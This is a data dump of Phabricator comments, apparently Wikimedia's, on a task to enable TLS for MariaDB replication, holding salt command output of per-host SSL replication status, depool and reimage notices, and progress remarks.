+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1001.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+dbstore1002.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+db1026.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1045.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1070.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1071.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1082.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1087.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1092.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1049.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+dbstore2001.codfw.wmnet 3306:            Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+dbstore2002.codfw.wmnet 3306:            Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+db2039.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2046.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2053.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2060.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2067.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2028.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3316: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1001.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+dbstore1002.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1022.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1023.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1030.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1037.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1061.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1085.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1088.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1093.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1050.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+dbstore2001.codfw.wmnet 3306:            Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+dbstore2002.codfw.wmnet 3306:            Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+db2040.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2047.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2054.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2061.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2068.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+db2029.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+labsdb1001.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1003.eqiad.wmnet 3306: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+db1069.eqiad.wmnet 3317: ERROR 2026 (HY000): SSL connection error: SSL is required, but the server does not support it
+labsdb1009.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1010.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+labsdb1011.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+db1095.eqiad.wmnet 3306: ERROR 1045 (28000): Access denied for user 'root'@'10.64.32.20' (using password: YES)
+dbstore1001.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+dbstore1002.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+db1028.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1033.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1034.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1039.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1062.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1079.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1086.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1094.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1041.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+dbstore2001.codfw.wmnet 3306:            Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+dbstore2002.codfw.wmnet 3306:            Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+db2033.codfw.wmnet 3306:            Master_SSL_Allowed: Yes
+dbstore1001.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: Yes
+dbstore1002.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: Yes
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+           Master_SSL_Allowed: No
+db1029.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+db1031.eqiad.wmnet 3306:            Master_SSL_Allowed: Yes
+```
+",,,1486653690,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,84,True,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,1,1,0,1,0,0,1,0,0,1
+806514,Set up TLS for MariaDB replication,"Completed auto-reimage of hosts:
+```
+['db2040.codfw.wmnet']
+```
+
+and were **ALL** successful.
+
+",,,1486648630,,PHID-USER-gzxwjo5i7iwtojwoibwt,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,84,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+806451,Set up TLS for MariaDB replication,"Script wmf_auto_reimage was launched by jynus on neodymium.eqiad.wmnet for hosts:
+```
+['db2040.codfw.wmnet']
+```
+The log can be found in `/var/log/wmf-auto-reimage/201702091223_jynus_7278.log`.",,,1486643024,,PHID-USER-gzxwjo5i7iwtojwoibwt,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,84,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+806407,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoid8doQMK9DA-FJ_gt} [2017-02-09T10:42:39Z] <jynus> preparing to reimage db2040 T111654",,,1486636960,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,84,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+806403,Set up TLS for MariaDB replication,"Change 336774 merged by jenkins-bot:
+mariadb: Depool db2040 for maintenance
+
+[[https://gerrit.wikimedia.org/r/336774]]",,,1486636568,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,84,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+806397,Set up TLS for MariaDB replication,"Change 336774 had a related patch set uploaded (by Jcrespo):
+mariadb: Depool db2040 for maintenance
+
+[[https://gerrit.wikimedia.org/r/336774]]
+",,,1486636153,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,84,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+806396,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoiaWnAHQCSeVEJfJkm} [2017-02-09T10:26:58Z] <marostegui@tin> Synchronized wmf-config/db-eqiad.php: Repool db1034 - T111654 (duration: 00m 41s)",,,1486636018,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,84,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+806379,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoiPXDhHQCSeVEJfJjz} [2017-02-09T09:38:56Z] <jynus> upgrading and restarting db1034 T111654",,,1486633136,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,84,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+806365,Set up TLS for MariaDB replication,"Change 336661 merged by jenkins-bot:
+mariadb: Depool db1034 for maintenance
+
+[[https://gerrit.wikimedia.org/r/336661]]",,,1486632282,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,84,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+805939,Set up TLS for MariaDB replication,"db1034 is left, pending of the reimage marked above^.
+
+Of the non core hosts, only the following are left (all to be decommed, marking only as such the ones that already have replacements):
+
+db1020.eqiad.wmnet: NULL - **m2 master**
+db1009.eqiad.wmnet: NULL - **m5 master**
+db1001.eqiad.wmnet: NULL - **m1 slave**
+labsdb1001.eqiad.wmnet: NULL - **to be decommed**
+labsdb1003.eqiad.wmnet: NULL - **to be decommed**
+db1016.eqiad.wmnet: NULL - **m1 master**
+db1069.eqiad.wmnet: NULL - **to be decommed**
+",,,1486580955,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,83,True,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1
+805936,Set up TLS for MariaDB replication,"db1034 is left, pending of the reimage marked above^.
+
+Of the non core hosts, only the following are left:
+
+db1020.eqiad.wmnet: NULL - **m2 master**
+db1009.eqiad.wmnet: NULL - **m5 master**
+db1001.eqiad.wmnet: NULL - **m1 slave**
+labsdb1001.eqiad.wmnet: NULL - **to be decommed**
+labsdb1003.eqiad.wmnet: NULL - **to be decommed**
+db1016.eqiad.wmnet: NULL - **m1 master**
+db1069.eqiad.wmnet: NULL - **to be decommed**
+",,,1486580864,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,83,True,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+805924,Set up TLS for MariaDB replication,"Change 336661 had a related patch set uploaded (by Jcrespo):
+mariadb: Depool db1034 for maintenance
+
+[[https://gerrit.wikimedia.org/r/336661]]
+",,,1486580236,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+805867,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoe4_tslCyyDMEPvJYe} [2017-02-08T18:02:21Z] <jynus> upgrading and restarting db2057 T111654",,,1486576942,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+805844,Set up TLS for MariaDB replication,"Change 336644 merged by jenkins-bot:
+mariadb: Depool db2057 for mariadb upgrade
+
+[[https://gerrit.wikimedia.org/r/336644]]",,,1486575825,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+805826,Set up TLS for MariaDB replication,">>! In T111654#3009760, @jcrespo wrote:
+> TLS is now deployed on all core servers:
+
+Congratulations, that was a massive and tedious effort.",,,1486574738,,PHID-USER-2qjlvo4lpgqvny5yo3ic,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,83,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,1
+805824,Set up TLS for MariaDB replication,"Change 336644 had a related patch set uploaded (by Jcrespo):
+mariadb: Depool db2057 for mariadb upgrade
+
+[[https://gerrit.wikimedia.org/r/336644]]
+",,,1486574636,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+805805,Set up TLS for MariaDB replication,"Enabled everywhere except on db1034 and db2057, which probably require a package upgrade.
+
+```
+
+$ sudo salt --output=txt -C 'G@cluster:mysql and G@mysql_group:core' cmd.run 'mysql --skip-ssl -e ""SHOW SLAVE STATUS\G"" | grep Master_SSL_Allowed'
+db1040.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1037.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1077.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1084.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1045.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1078.eqiad.wmnet:            Master_SSL_Allowed: Yes
+es2018.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1094.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db2037.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1036.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1083.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db2048.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2046.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2069.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1072.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1051.eqiad.wmnet:            Master_SSL_Allowed: Yes
+es2019.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1056.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1071.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1091.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1029.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1052.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1031.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1068.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1050.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1082.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1055.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db2065.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2044.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1076.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1092.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1061.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1059.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db2060.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2053.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1086.eqiad.wmnet:            Master_SSL_Allowed: Yes
+es1017.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db2070.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2040.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2055.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2063.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2023.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2059.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1018.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1074.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db2061.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1060.eqiad.wmnet:            Master_SSL_Allowed: Yes
+es2014.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1067.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db2051.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1026.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db2047.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1028.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1034.eqiad.wmnet:            Master_SSL_Allowed: No
+db1015.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db2064.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2054.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2019.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1030.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1088.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1038.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1063.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1080.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1049.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1053.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1079.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1089.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db2067.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1064.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1073.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1057.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db2045.codfw.wmnet:            Master_SSL_Allowed: Yes
+es2016.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1024.eqiad.wmnet:            Master_SSL_Allowed: Yes
+es2015.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1093.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1085.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db2029.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2038.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2058.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2049.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2052.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1065.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1033.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1070.eqiad.wmnet:            Master_SSL_Allowed: Yes
+es1013.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1023.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1081.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1054.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1066.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1022.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db2033.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2057.codfw.wmnet:            Master_SSL_Allowed: No
+db2034.codfw.wmnet:            Master_SSL_Allowed: Yes
+es1019.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1062.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1087.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db2050.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2066.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2035.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2028.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2017.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2016.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2036.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2018.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1041.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1021.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db2043.codfw.wmnet:            Master_SSL_Allowed: Yes
+es2017.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2056.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2062.codfw.wmnet:            Master_SSL_Allowed: Yes
+db2039.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1090.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1044.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1035.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db2041.codfw.wmnet:            Master_SSL_Allowed: Yes
+es1015.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db2068.codfw.wmnet:            Master_SSL_Allowed: Yes
+db1075.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db1039.eqiad.wmnet:            Master_SSL_Allowed: Yes
+db2042.codfw.wmnet:            Master_SSL_Allowed: Yes
+```
+",,,1486574259,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,83,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1
